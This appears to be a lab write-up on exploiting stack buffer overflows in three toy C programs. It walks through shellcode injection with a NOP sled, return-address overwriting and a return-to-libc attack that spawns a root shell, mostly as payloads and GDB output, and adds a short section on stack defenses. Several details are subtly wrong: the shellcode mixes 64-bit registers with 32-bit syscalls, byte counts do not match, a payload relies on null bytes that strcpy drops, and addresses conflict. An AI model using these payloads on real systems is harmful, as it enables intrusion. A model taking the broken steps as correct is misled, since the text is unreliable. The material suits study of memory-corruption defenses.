1. Simple Command Line Buffer Overflow

Source code vulnerability analysis

Function name: **foo**   Line number: **12**

The command line buffer overflow occurs when a program or process attempts to write more data to a fixed length block of memory, than the buffer is allocated to hold. In this scenario, the command line argument taken from the user is stored in a variable **par** which can hold at most 16 characters.

To prepare an exploit, we need to understand what happens to the memory when the program is executed. During the runtime, the contents of the **argc** and **argv** parameters, being parameters of the program, will be held in the kernel area of the memory. The **main** method is the entry point for the program and the first thing it does, is to call the **foo** function, passing the first command-line parameter to it. When calling the **foo** function, the parameter is passed onto the stack. Then, the function should know where to return when the function exists, so the address of the next instruction is pushed onto the stack as the return address. The extended base pointer is then pushed onto the stack. This pointer is used to refer to parameters and local variables. Then, a **buffer** of 16 bytes long is allocated in the stack, followed by a call to the string copy function, which will copy the function parameter into the buffer. There is another local variable which also has 16 bytes of memory and it stores the command string.

Let's call this program **target1** and compile the code and generate debugging information using the following command:

$ gcc -fno-stack-protector -ggdb -Wall -o target1 target1.c

When we run it, a typical execution of this program with command-line parameter **test** would look like this:

```
$ ./target1 test
You can use "ls --color -l  test" to list the files in dir "test"!
total 0
$
```

The program has copied **test** into the buffer and the information on how to use ls is shown.

The stack grows downward from high-memory to lower-memory addresses. However, the buffer itself is filled from lower to higher memory addresses. This means that if we would pass a name that is bigger than 16 characters long, it would start overwriting the base pointer that's lower in the stack (and higher up in the memory).

Using the GDB debugger

Now that the code is compiled and the **target1** program was created, we can fire GDB and read symbols present in the **target1** program using the command: **file target1**

We can use the command **info functions** to get all the functions that are there in the program.

We will issue the command **disas foo** to show the assembler code for the method **foo:**

```
(gdb) disas foo
Dump of assembler code for function foo:
   0x00000000000011e9 <+0>:     endbr64
   0x00000000000011ed <+4>:     push   %rbp
   0x00000000000011ee <+5>:     mov    %rsp,%rbp
   0x00000000000011f1 <+8>:     push   %rbx
   0x00000000000011f2 <+9>:     sub    $0x48,%rsp
   0x00000000000011f6 <+13>:    mov    %rdi,-0x48(%rbp)
   0x00000000000011fa <+17>:    lea    -0x30(%rbp),%rax
   0x00000000000011fe <+21>:    movabs $0x6c6f632d2d20736c,%rbx
   0x0000000000001208 <+31>:    mov    %rbx,(%rax)
   0x000000000000120b <+34>:    movl   $0x2d20726f,0x8(%rax)
   0x0000000000001212 <+41>:    movw   $0x206c,0xc(%rax)
   0x0000000000001218 <+47>:    movb   $0x0,0xe(%rax)
   0x000000000000121c <+51>:    mov    -0x48(%rbp),%rdx
   0x0000000000001220 <+55>:    lea    -0x40(%rbp),%rax
   0x0000000000001224 <+59>:    mov    %rdx,%rsi
   0x0000000000001227 <+62>:    mov    %rax,%rdi
   0x000000000000122a <+65>:    callq  0x10a0 <strcpy@plt>
   0x000000000000122f <+70>:    lea    -0x40(%rbp),%rcx
   0x0000000000001233 <+74>:    lea    -0x40(%rbp),%rdx
   0x0000000000001237 <+78>:    lea    -0x30(%rbp),%rax
   0x000000000000123b <+82>:    mov    %rax,%rsi
   0x000000000000123e <+85>:    lea    0xdc3(%rip),%rdi        # 0x2008
   0x0000000000001245 <+92>:    mov    $0x0,%eax
   0x000000000000124a <+97>:    callq  0x10d0 <printf@plt>
   0x000000000000124f <+102>:   lea    -0x30(%rbp),%rax
   0x0000000000001253 <+106>:   mov    %rax,%rdi
   0x0000000000001256 <+109>:   callq  0x10b0 <strlen@plt>
   0x000000000000125b <+114>:   mov    %rax,%rbx
   0x000000000000125e <+117>:   lea    -0x40(%rbp),%rax
   0x0000000000001262 <+121>:   mov    %rax,%rdi
   0x0000000000001265 <+124>:   callq  0x10b0 <strlen@plt>
   0x000000000000126a <+129>:   add    %rbx,%rax
```

By passing input, which is larger than 16 bytes, a buffer overflow is created which will create faulty stack and faulty registers.

Exploit – shellcode

To exploit the problem with the buffer, we aim to change the return address to somewhere we could have a code that launches a shell. The following is the exploit code saved as **shcode.asm**:

```
xor     rax, rax     ; Clearing rax register
push    rax          ; Pushing NULL bytes
push    0x68732f2f   ; Pushing /sh
push    0x6e69622f   ; Pushing /bin
mov     rbx, rsp     ; rbx now has address of /bin/sh
push    rax          ; Pushing NULL byte
mov     rdx, rsp     ; rdx now has address of NULL byte
push    rbx          ; Pushing address of /bin/sh
mov     rcx, rsp     ; rcx now has address of address
                     ; of /bin/sh byte
mov     al, 11       ; syscall number of execve is 11
int     0x80         ; Make the system call
```

We need to assemble the code using **nasm**, by issuing the following command:

$ nasm -f elf64 shcode.asm

This produces a file called **shcode.o** in Executable and Linkable Format (ELF). When we disassemble this file using **objdump**, we get the shcode bytes: **objdump -d -M intel shcode.o**

Note: For 32-bit system, use eax, ebx, ecx, edx, esp in-place of rax, rbx, rcx, rdx, rsp respectively and assemble the code using the command

```
$ objdump -d -M intel shcode.o

shcode.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 31 c0                xor    rax,rax
   3:   50                      push   rax
   4:   68 2f 2f 73 68          push   0x68732f2f
   9:   68 2f 62 69 6e          push   0x6e69622f
   e:   48 89 e3                mov    rbx,rsp
  11:   50                      push   rax
  12:   48 89 e2                mov    rdx,rsp
  15:   53                      push   rbx
  16:   48 89 e1                mov    rcx,rsp
  19:   b0 0b                   mov    al,0xb
  1b:   cd 80                   int    0x80
```

Now extract the first 25 bytes of the shcode:

\x48\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x48\x89\xe3\x50\x48\x89\xe2\x53\x48\x89\xe1\xb0\x0b\xcd\x80

Memory may move around a bit during execution of the program, so we do not exactly know on which address the shellcode will start in the buffer. The NOP-sled is a way to deal with this. Once we fix the payload, at runtime, the CPU's instruction execution flow will slide towards the shcode, execute it and run a shell with privileges of the **target1** program. The execution looks something like this:

```
$ ./target1 AAAABBBBCCCCDDDD\x90\x48\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x48\x89\xe3\x50\x48\x89\xe2\x53\x48
\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90
You can use "x90x48x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex48x89xe3x50x48x89xe2x53x48x89xe1xb0x0bxcdx80x90x90x90x90x90x90x90x90x90 AAAA
BBBBCCCCDDDDx90x48x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex48x89xe3x50x48x89xe2x53x48x89xe1xb0x0bxcdx80x90x90x90x90x90x90x90x90x90" to l
ist the files in dir "AAAABBBBCCCCDDDDx90x48x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex48x89xe3x50x48x89xe2x53x48x89xe1xb0x0bxcdx80x90x90x
90x90x90x90x90x90x90"!
# whoami
root
```

We can also use the following exploit to achieve access to the shell:

../targets/target1 "   "/bin/sh

The following is the shell code to compile and run the program:

```
#!/bin/sh
execres=$(gcc -Wall -g -ggdb -fno-stack-protector -z execstack -o
target1 target1.c 2>&1)
if [[ $? != 0 ]]; then
    echo -e "Error:\n$output"
else
    ./target1
AAAABBBBCCCCDDDD\x90\x48\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69\x6e\x48\x89\xe3\x50\x48\x89\xe2\x53\x48\x89\xe1\xb0\x0b\xcd\x80
\x90\x90\x90\x90\x90\x90\x90\x90\x90
fi
```

2. Buffer Overflow to Rewrite a Return

Subsection 1 – The Attack

Function name: **coupon**   Line number: **12**

The program takes one command line argument and passes the argument into the **coupon** function. The function takes this parameter and stores it in a 16-byte fixed length variable called **name**. The buffer overflow error can arise if the length of the command line argument is greater than 16 bytes. Let us check what happens when the program is run normally. We can use a string of A's to see if we can observe the buffer overflow.

```
$ ./target2 AAAAAA
Our loyal customer AAAAAA:
Use this coupon to redeem your free iPad Air 2!
Coupon number 49568900

$ ./target2 AAAAAAAAAAAAAAAAAA
Our loyal customer AAAAAAAAAAAAAAAAAA:
Use this coupon to redeem your free GALAXY Note 4!
Coupon number 1267040004

Segmentation fault (core dumped)
```

During the first execution, the input command line argument is given within its limits and so, normal execution happens. But on the second run, when the length of the input argument is greater than 16 bytes, it causes the buffer overflow.

Using the GDB debugger

Now that the code is compiled and the **target2** program was created, we can fire GDB and read symbols present in the **target2** program using the command: **file target2**

We can use the command **info functions** to get all the functions that are there in the program.

By passing input, which is larger than 16 bytes, a buffer overflow is created which will create faulty stack and faulty registers.

We will set three breakpoints in the original source code at lines **12**, **13**, and **28.**

```
(gdb) b 12
Breakpoint 1 at 0x1205: file target2.c, line 12.
(gdb) b 13
Breakpoint 2 at 0x125b: file target2.c, line 13.
(gdb) b 28
Breakpoint 3 at 0x12d5: file target2.c, line 28.
```

We're going to stop at line 12 and line 13, immediately before and immediately after we copy our input into the buffer.

We will issue the command **disas coupon** to show the assembler code for the method **coupon** and check the registers that are involved**:**

```
(gdb) disas coupon
Dump of assembler code for function coupon:
   0x00000000000011c9 <+0>:     endbr64
   0x00000000000011cd <+4>:     push   %rbp
   0x00000000000011ce <+5>:     mov    %rsp,%rbp
   0x00000000000011d1 <+8>:     sub    $0x40,%rsp
   0x00000000000011d5 <+12>:    mov    %rdi,-0x38(%rbp)
   0x00000000000011d9 <+16>:    lea    0xe28(%rip),%rax        # 0x2008
   0x00000000000011e0 <+23>:    mov    %rax,-0x30(%rbp)
   0x00000000000011e4 <+27>:    lea    0xe28(%rip),%rax        # 0x2013
   0x00000000000011eb <+34>:    mov    %rax,-0x28(%rbp)
   0x00000000000011ef <+38>:    lea    0xe2b(%rip),%rax        # 0x2021
   0x00000000000011f6 <+45>:    mov    %rax,-0x20(%rbp)
   0x00000000000011fa <+49>:    lea    0xe29(%rip),%rax        # 0x202a
   0x0000000000001201 <+56>:    mov    %rax,-0x18(%rbp)
   0x0000000000001205 <+60>:    mov    -0x38(%rbp),%rdx
   0x0000000000001209 <+64>:    lea    -0x10(%rbp),%rax
   0x000000000000120d <+68>:    mov    %rdx,%rsi
   0x0000000000001210 <+71>:    mov    %rax,%rdi
   0x0000000000001213 <+74>:    callq  0x1090 <strcpy@plt>
   0x0000000000001218 <+79>:    lea    -0x10(%rbp),%rax
   0x000000000000121c <+83>:    mov    %rax,%rsi
   0x000000000000121f <+86>:    lea    0xe12(%rip),%rdi        # 0x2038
   0x0000000000001226 <+93>:    mov    $0x0,%eax
   0x000000000000122b <+98>:    callq  0x10a0 <printf@plt>
   0x0000000000001230 <+103>:   callq  0x10d0 <rand@plt>
   0x0000000000001235 <+108>:   cltd
```

Let’s run our program in GDB with "AAAA" as our input. We'll stop just before we copy anything into buffer so we can look at the contents.

```
Breakpoint 1, coupon (arg=0x7fffffffe1ca "AAAA") at target2.c:12
12              strcpy(name, arg);
(gdb) x /128bx name
0x7fffffffde40: 0xc8    0x0f    0x7a    0xff    0xff    0x7f    0x00    0x00
0x7fffffffde48: 0x6d    0xa7    0x5f    0xff    0xff    0x7f    0x00    0x00
0x7fffffffde50: 0x70    0xde    0xfe    0xff    0xff    0x7f    0x00    0x00
0x7fffffffde58: 0xd5    0x12    0x00    0x08    0x00    0x00    0x00    0x00
0x7fffffffde60: 0x68    0xdf    0xfe    0xff    0xff    0x7f    0x00    0x00
0x7fffffffde68: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00
0x7fffffffde70: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde78: 0xb3    0x70    0x5d    0xff    0xff    0x7f    0x00    0x00
0x7fffffffde80: 0x20    0xd6    0x7d    0xff    0xff    0x7f    0x00    0x00
0x7fffffffde88: 0x68    0xdf    0xfe    0xff    0xff    0x7f    0x00    0x00
0x7fffffffde90: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00
0x7fffffffde98: 0x76    0x12    0x00    0x08    0x00    0x00    0x00    0x00
0x7fffffffdea0: 0xe0    0x12    0x00    0x08    0x00    0x00    0x00    0x00
0x7fffffffdea8: 0x14    0x1a    0x97    0x32    0x9f    0x1b    0x81    0x83
0x7fffffffdeb0: 0xe0    0x10    0x00    0x08    0x00    0x00    0x00    0x00
0x7fffffffdeb8: 0x60    0xdf    0xfe    0xff    0xff    0x7f    0x00    0x00
```

We ran our program in GDB with run AAAA which then hit our first breakpoint on line 12. The second command x /128bx buffer displays 128 bytes as hexadecimal characters, starting where buffer is stored in memory. The leftmost column displays the memory address where the first column is found. So, in our example, buffer starts at memory address 0x7fffffffde40. Let’s see what happens after the call to strcpy(). The **continue** command will resume the program so we can get to the next breakpoint.

```
Breakpoint 4, coupon (arg=0x7fffffffee1ca "AAAA") at target2.c:13
13              printf("Our loyal customer %s:\n", name);
(gdb) x /128bx name
0x7fffffffede40: 0x41   0x41   0x41   0x41   0x00   0x7f   0x00   0x00
0x7fffffffede48: 0x6d   0xa7   0x5f   0xff   0xff   0x7f   0x00   0x00
0x7fffffffede50: 0x70   0xde   0xfe   0xff   0xff   0x7f   0x00   0x00
0x7fffffffede58: 0xd5   0x12   0x00   0x08   0x00   0x00   0x00   0x00
0x7fffffffede60: 0x68   0xdf   0xfe   0xff   0xff   0x7f   0x00   0x00
0x7fffffffede68: 0x00   0x00   0x00   0x00   0x02   0x00   0x00   0x00
0x7fffffffede70: 0x00   0x00   0x00   0x00   0x00   0x00   0x00   0x00
0x7fffffffede78: 0xb3   0x70   0x5d   0xff   0xff   0x7f   0x00   0x00
0x7fffffffede80: 0x20   0xd6   0x7d   0xff   0xff   0x7f   0x00   0x00
0x7fffffffede88: 0x68   0xdf   0xfe   0xff   0xff   0x7f   0x00   0x00
0x7fffffffede90: 0x00   0x00   0x00   0x00   0x02   0x00   0x00   0x00
0x7fffffffede98: 0x76   0x12   0x00   0x08   0x00   0x00   0x00   0x00
0x7fffffffedea0: 0xe0   0x12   0x00   0x08   0x00   0x00   0x00   0x00
0x7fffffffedea8: 0x14   0x1a   0x97   0x32   0x9f   0x1b   0x81   0x83
0x7fffffffedeb0: 0xe0   0x10   0x00   0x08   0x00   0x00   0x00   0x00
0x7fffffffedeb8: 0x60   0xdf   0xfe   0xff   0xff   0x7f   0x00   0x00
```

We have data! The first four values of buffer are now 0x41, which is how the ASCII character A is represented as a hexadecimal value. Our buffer is starting to fill up. We know from looking at the source code that buffer is an array of 16 characters. Each character is a byte, so we should be able to fill up 16 bytes with no issues. Let's run the program again, this time with 16 A's, and see what our memory looks like after strcpy() returns.

```
Breakpoint 2, coupon (arg=0x7fffffffee1ba 'A' <repeats 16 times>) at target2.c:13
13              printf("Our loyal customer %s:\n", name);
(gdb) x /128bx name
0x7fffffffede30: 0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0x7fffffffede38: 0x41   0x41   0x41   0x41   0x41   0x41   0x41   0x41
0x7fffffffede40: 0x00   0xde   0xfe   0xff   0xff   0x7f   0x00   0x00
0x7fffffffede48: 0xd5   0x12   0x00   0x08   0x00   0x00   0x00   0x00
0x7fffffffede50: 0x58   0xdf   0xfe   0xff   0xff   0x7f   0x00   0x00
0x7fffffffede58: 0x00   0x00   0x00   0x00   0x02   0x00   0x00   0x00
0x7fffffffede60: 0x00   0x00   0x00   0x00   0x00   0x00   0x00   0x00
0x7fffffffede68: 0xb3   0x70   0x5d   0xff   0xff   0x7f   0x00   0x00
0x7fffffffede70: 0x20   0xd6   0x7d   0xff   0xff   0x7f   0x00   0x00
0x7fffffffede78: 0x58   0xdf   0xfe   0xff   0xff   0x7f   0x00   0x00
0x7fffffffede80: 0x00   0x00   0x00   0x00   0x02   0x00   0x00   0x00
0x7fffffffede88: 0x76   0x12   0x00   0x08   0x00   0x00   0x00   0x00
0x7fffffffede90: 0xe0   0x12   0x00   0x08   0x00   0x00   0x00   0x00
0x7fffffffede98: 0xd0   0x9f   0xfd   0x1c   0x2d   0x24   0x4a   0x99
0x7fffffffedea0: 0xe0   0x10   0x00   0x08   0x00   0x00   0x00   0x00
0x7fffffffedea8: 0x50   0xdf   0xfe   0xff   0xff   0x7f   0x00   0x00
```

It looks like buffer starts at address 0x7ffffffede30 and ends at address 0x7ffffffede40, which is 16 bytes away. These addresses may change when we run the program, but that won't be a problem. Now, we aren't concerned with where certain values are stored, we want to know the distance between those values. No matter where our buffer is stored, it will always end 16 bytes later. The goal is to overwrite the return address so we can control what the program does next and make the same coupon() function call itself again and again indefinitely. GDB makes this very easy with the info frame command.

```
(gdb) info frame
Stack level 0, frame at 0x7ffffffede50:
 rip = 0x8001218 in coupon (target2.c:13); saved rip = 0x80012d5
 called by frame at 0x7ffffffede10
 source language c.
 Arglist at 0x7ffffffeddf8, args: arg=0x7ffffffee1ba 'A' <repeats 16 times>
 Locals at 0x7ffffffeddf8, Previous frame's sp is 0x7ffffffede50
 Saved registers:
  rbp at 0x7ffffffede40, rip at 0x7ffffffede48
(gdb)
```

GDB not only tells us what the value of rip is (0x80012d5) but it also tells us where it is stored in memory (0x7ffffffede48). But where is this relative to buffer?

```
(gdb) x /gx 0x7ffffffede48
0x7ffffffede48: 0x00000000080012d5
(gdb) x /128bx name
0x7ffffffede30: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffffffede38: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffffffede40: 0x00    0xde    0xfe    0xff    0xff    0x7f    0x00    0x00
0x7ffffffede48: 0xd5    0x12    0x00    0x08    0x00    0x00    0x00    0x00
0x7ffffffede50: 0x58    0xdf    0xfe    0xff    0xff    0x7f    0x00    0x00
0x7ffffffede58: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00
0x7ffffffede60: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7ffffffede68: 0xb3    0x70    0x5d    0xff    0xff    0x7f    0x00    0x00
0x7ffffffede70: 0x20    0xd6    0x7d    0xff    0xff    0x7f    0x00    0x00
0x7ffffffede78: 0x58    0xdf    0xfe    0xff    0xff    0x7f    0x00    0x00
0x7ffffffede80: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00
0x7ffffffede88: 0x76    0x12    0x00    0x08    0x00    0x00    0x00    0x00
0x7ffffffede90: 0xe0    0x12    0x00    0x08    0x00    0x00    0x00    0x00
0x7ffffffede98: 0xd0    0x9f    0xfd    0x1c    0x2d    0x24    0x4a    0x99
0x7ffffffedea0: 0xe0    0x10    0x00    0x08    0x00    0x00    0x00    0x00
0x7ffffffedea8: 0x50    0xdf    0xfe    0xff    0xff    0x7f    0x00    0x00
```

We see buffer at address 0x7ffffffede30, and we see the return address at 0x7ffffffede48, just as GDB promised. Notice how the address in memory is reversed from how it is displayed by GDB. The computer is using little-endian byte order, which super simplified just means it stores data backwards. Looks like the address of buffer changed since the last time we ran the program! The good news is that the return address will always be the same distance from the end of the buffer. Doing some hexadecimal math:

0x7ffffffede48 – 0x7ffffffede30 = 0x18 -> 24

Finding the difference between the addresses and converting it to decimal tells us that the return address is stored 24 bytes after the start of buffer. Since buffer has 16 bytes allocated for it, the leftover 8 bytes will overflow and end up right next to the return address. On 64-bit operating systems all memory addresses use 64 bits (8 bytes). If we provided 40 characters, we would fill up the buffer, overflow so we are close to the return address, and then overwrite the entire return address. Let's look at the buffer when we copy in 40 A's.

info frame shows us that the return address is stored at 0x7ffffffede18 but look what's in memory! We successfully overwrote the return address. When our function ends, the program will look to 0x7ffffffede18 to find which instruction to execute next. But instead of the original location, it will try and go to 0x4141414141414141. The odds of there being anything useful in that location are small. We’ll change the return address to be equal to the address of the buffer so we can make the function repeat.

We have our sequence of 40 A's where the last 8 replace the return address stored on the stack. We need to change those 8 bytes to be the address of buffer. If the address of buffer is 0x7ffffffede00, we need to split that into individual bytes, reverse it (little-endian byte order!), and put it inside the argument. One tricky thing to note, GDB removes leading zeros for memory addresses. Our address is only twelve hexadecimal values, which is only six bytes. Since memory addresses on this computer are really 8 bytes long, we’ll add the missing zeroes to make sure our address works.

```
Breakpoint 1, coupon (arg=0x7ffffffee18a 'A' <repeats 56 times>) at target2.c:12
12              strcpy(name, arg);
(gdb) continue
Continuing.

Breakpoint 2, coupon (arg=0x7ffffffee18a 'A' <repeats 56 times>) at target2.c:13
13              printf("Our loyal customer %s:\n", name);
(gdb) x /128bx name
0x7ffffffede00: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffffffede08: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffffffede10: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffffffede18: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffffffede20: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffffffede28: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffffffede30: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffffffede38: 0x00    0x70    0x5d    0xff    0xff    0x7f    0x00    0x00
0x7ffffffede40: 0x20    0xd6    0x7d    0xff    0xff    0x7f    0x00    0x00
0x7ffffffede48: 0x28    0xdf    0xfe    0xff    0xff    0x7f    0x00    0x00
0x7ffffffede50: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00
0x7ffffffede58: 0x76    0x12    0x00    0x08    0x00    0x00    0x00    0x00
0x7ffffffede60: 0xe0    0x12    0x00    0x08    0x00    0x00    0x00    0x00
0x7ffffffede68: 0x3a    0x46    0x20    0x77    0x1a    0xc8    0x33    0x69
0x7ffffffede70: 0xe0    0x10    0x00    0x08    0x00    0x00    0x00    0x00
0x7ffffffede78: 0x20    0xdf    0xfe    0xff    0xff    0x7f    0x00    0x00
(gdb) info frame
Stack level 0, frame at 0x7ffffffede20:
 rip = 0x8001218 in coupon (target2.c:13); saved rip = 0x4141414141414141
 called by frame at 0x7ffffffede28
 source language c.
 Arglist at 0x7ffffffeddc8, args: arg=0x7ffffffee18a 'A' <repeats 56 times>
 Locals at 0x7ffffffeddc8, Previous frame's sp is 0x7ffffffede20
 Saved registers:
  rbp at 0x7ffffffede10, rip at 0x7ffffffede18
(gdb)
```

0x7f ff ff fe de 00

0x00 0x00 0x7f 0xff 0xff 0xfe 0xde 0x00

0x00 0xde 0xfe 0xff 0xff 0x7f 0x00 0x00

\x00\xde\xfe\xff\xff\x7f\x00\x00

The computer will interpret characters preceded by "\x" to be hexadecimal instead of regular ASCII characters. This is the difference between seeing "A" as a value in memory versus seeing "41". Our input string now looks like this:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\xde\xfe\xff\xff\x7f\x00\x00

Let's check if this successfully replaced the return address:

```
Breakpoint 1, coupon (arg=0x7fffffffee18a 'A' <repeats 40 times>, "x00xdexfexffxffx7fx00x00") at target2.c:12
12              strcpy(name, arg);
(gdb) continue
Continuing.

Breakpoint 2, coupon (arg=0x7fffffffee18a 'A' <repeats 40 times>, "x00xdexfexffxffx7fx00x00") at target2.c:13
13              printf("Our loyal customer %s:\n", name);
(gdb) x /128bx name
0x7fffffffede00: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffede08: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffede10: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffede18: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffede20: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffede28: 0x78    0x30    0x30    0x78    0x64    0x65    0x78    0x66
0x7fffffffede30: 0x65    0x78    0x66    0x66    0x78    0x66    0x66    0x78
0x7fffffffede38: 0x37    0x66    0x78    0x30    0x30    0x78    0x30    0x30
0x7fffffffede40: 0x00    0xd6    0x7d    0xff    0xff    0x7f    0x00    0x00
0x7fffffffede48: 0x28    0xdf    0xfe    0xff    0xff    0x7f    0x00    0x00
0x7fffffffede50: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00
0x7fffffffede58: 0x76    0x12    0x00    0x08    0x00    0x00    0x00    0x00
0x7fffffffede60: 0xe0    0x12    0x00    0x08    0x00    0x00    0x00    0x00
0x7fffffffede68: 0x60    0x14    0xe7    0x82    0x2b    0x0a    0xee    0x95
0x7fffffffede70: 0xe0    0x10    0x00    0x08    0x00    0x00    0x00    0x00
0x7fffffffede78: 0x20    0xdf    0xfe    0xff    0xff    0x7f    0x00    0x00
(gdb)
```

The memory address where the instruction pointer was stored now holds the reversed address of buffer. By this method, we made the program to print unlimited number of coupons.

Subsection 2 – The Defense

No, the attack did not work when accessed from outside the virtual machine. The modern day operating systems are equipped with features that protect the stack from being modified.

Buffer overflow protection is any of various techniques used during software development to enhance the security of executable programs by detecting buffer overflows on stack-allocated variables and preventing them from causing program misbehavior or from becoming serious security vulnerabilities. A stack buffer overflow occurs when a program writes to a memory address on the program's call stack outside of the intended data structure, which is usually a fixed-length buffer. Stack buffer overflow bugs are caused when a program writes more data to a buffer located on the stack than what is actually allocated for that buffer. This almost always results in corruption of adjacent data on the stack, which could lead to program crashes, incorrect operation, or security issues.

Typically, buffer overflow protection modifies the organization of stack-allocated data, so it includes a canary value that, when destroyed by a stack buffer overflow, shows that a buffer preceding it in memory has been overflowed. By verifying the canary value, execution of the affected program can be terminated, preventing it from misbehaving or from allowing an attacker to take control over it. Other buffer overflow protection techniques include bounds checking, which checks accesses to each allocated block of memory so they cannot go beyond the actually allocated space, and tagging, which ensures that memory allocated for storing data cannot contain executable code.

Overfilling a buffer allocated on the stack is more likely to influence program execution than overfilling a buffer on the heap because the stack contains the return addresses for all active function calls. However, similar implementation-specific protections also exist against heap-based overflows.

Stack buffer overflows are a longstanding problem for C programs that leads to all manner of ills, many of which are security vulnerabilities. The biggest problems have typically been with string buffers on the stack coupled with bad or missing length tests. A programmer who mistakenly leaves open the possibility of overrunning a buffer on a function's stack may be allowing attackers to overwrite the return pointer pushed onto the stack earlier. Since the attackers may be able to control what gets written, they can control where the function returns—with potentially dire results.

3. Return to libc

Source code vulnerability analysis

The program takes a single command line argument as an input, which is then passed into the **is_virus** method as a function parameter. Let's call this program **target3** and compile the code and generate debugging information using the following command:

$ gcc -fno-stack-protector -ggdb -Wall -o target3 target3.c

The following is the stack frame layout for the method is_virus():

```
is_virus argv[n]
...
is_virus argv[0]
is_virus argc
--------------------
return address
traffic[64]
traffic[63]
...
traffic[0]
i
j
len
--------------------
(future)
```

Let us use the GDB to see where the return address gets overwritten.

We run the program to check where the return address gets overwritten.

```
(gdb) r `python -c 'print "A"*64'`
Starting program: target3 `python -c 'print "A"*64'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `python -c 'print "A"*60+"B"*4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: target3 `python -c 'print "A"*60+"B"*4'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
```

So, the return address is overwritten after 60 bytes. I began by finding the addresses of system(), exit(), and the string /bin/bash. Let's get the address of the system() function and pass it the /bin/sh argument to run. First, we set a break point at main when we hit the break point, we search for the address to the system function.

```
(gdb) b *main
Breakpoint 1 at 0x804847c
(gdb) r `python -c 'print "A"*60+"B"*4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: target3 `python -c 'print "A"*60+"B"*4'`
Breakpoint 1, 0x0804847c in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e9ef10 <system>
```

As highlighted above the address of the system function is “0xb7e9ef10”. So, what we want the stack to look like to return-to-libc is as follows.

Top of stack	EBP	EIP	Dummy return addr	Address of /bin/sh string
AAAAAAAA	AAAA	Addr of system function (0xb7e9ef10)	DUMM	Address of /bin/sh string

We must export environment variable containing "/bin/sh" and get its address.

```
# export SHELL='/bin/sh'
# gdb -q target3
(gdb) b *main
Breakpoint 1 at 0x804847c
(gdb) r `python -c 'print "A"*60+"B"*4'`
Starting program: target3 `python -c 'print "A"*60+"B"*4'`
Breakpoint 1, 0x0804847c in main ()
(gdb) x/500s $esp
---Type <return> to continue, or q <return> to quit---
0xbfffff2f: "SHELL=/bin/sh"
0xbfffff3d: "GDMSESSION=default"
0xbfffff50: "GPG_AGENT_INFO=/root/.cache/keyring-WoZFyX/gpg:0:1"
0xbfffff83: "PWD=/root/Desktop/rajasurya/so"
0xbfffff9d:
"XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share/:/usr/share/"
0xbfffffda: "LINES=41"
0xbfffffe3: "/root/Desktop/rajasurya/so/target3"
0xbffffffc: ""
```

As seen above the command "x/500s $esp" will print out 500 strings from the stack; this is more than enough to find our environment variable "SHELL". We keep hitting enter till we find it as highlighted in red the address of Environment "SHELL" is "0xbfffff2f". Now we must get the exact address of the string '/bin/sh' which will be (addr of SHELL + 6) because the preceding "SHELL=" is 6 bytes. So, the address of the string is (0xbfffff2f + 6 = 0xBFFFFF35).

The return address of is_virus() needs to be replaced with the address of system() followed the address of exit(), and then the address of the string /bin/bash. Next, I located the return address of is_virus() by disassembling main inside gdb. So is_virus() should return to the address 0x8048696. I used this to determine how much padding I will need. Looking at memory shortly after the stack pointer and playing with passing 'A's, I found 60 bytes gets me just before this address. So, with all the info I constructed the input:

./target3 $(perl -e 'print "AAAA"x15, "\x84\x15\x07\x40", "\xa4\x33\x05\x40", "\xfb\xfe\xff\xbf"')

So, to return to libc we should run our program with the following input:

“A”*60+”\x10\xef\xe9\xb7”+”DUMM”+”\x35\xff\xff\xbf”

Let’s test it and see if we get a shell.

```
(gdb) r `python -c 'print "A"*60+"\x10\xef\xe9\xb7"+"DUMM"+"\x35\xff
\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: target3 `python -c 'print
"A"*60+"\x10\xef\xe9\xb7"+"DUMM"+"\x35\xff\xff\xbf"'`
Breakpoint 1, 0x0804847c in main ()
(gdb) c
Continuing.
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
